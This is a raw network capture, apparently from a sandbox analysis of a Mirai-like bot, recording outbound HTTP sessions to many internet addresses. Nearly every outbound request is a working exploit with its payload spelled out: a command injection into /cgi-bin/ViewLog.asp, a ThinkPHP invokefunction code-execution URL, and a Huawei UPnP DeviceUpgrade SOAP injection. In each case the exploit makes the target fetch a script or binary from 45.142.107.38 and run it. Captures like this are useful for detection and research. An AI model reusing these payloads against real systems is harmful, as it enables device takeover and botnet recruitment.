Mar 4, 2024 15:07:15.284615040 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:16.310986042 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:16.504139900 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	34496	85.74.139.182	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.299854040 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	41496	94.123.108.218	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.309741020 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	45060	94.123.140.226	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.309814930 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	46646	112.171.211.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.393918037 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Mon, 04 Mar 2024 14:07:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	36126	94.120.24.56	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.528415918 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	53048	94.138.22.208	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.753439903 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	48610	95.61.114.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.285414934 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:16.846456051 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	57530	31.136.221.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.462999105 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:19.670958996 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.814961910 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:37.846930981 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.934943914 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:52.086811066 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	45118	62.171.141.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.490647078 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:16.670577049 CET	207	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 04 Mar 2024 14:07:16 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	45138	62.171.141.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.643284082 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:16.823328972 CET	207	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 04 Mar 2024 14:07:16 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	48558	95.242.95.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.695220947 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	35656	94.121.223.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:16.704148054 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	56416	95.101.70.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.329360008 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.359093904 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.553385019 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:18 GMT Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 66 63 31 34 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 38 26 23 34 36 3b 31 35 65 37 35 32 61 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.5efc1402.1709561238.15e752a1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	53912	95.241.185.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.544327021 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:17.983455896 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Mon, 04 Mar 2024 14:05:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	44902	95.179.130.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.710161924 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:17.875977993 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	47178	95.176.248.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.731127977 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:17.918154955 CET	66	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	39048	62.29.109.119	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.743233919 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	60500	197.49.5.252	37215

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.772016048 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.142.107.38 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 4, 2024 15:07:18.021508932 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

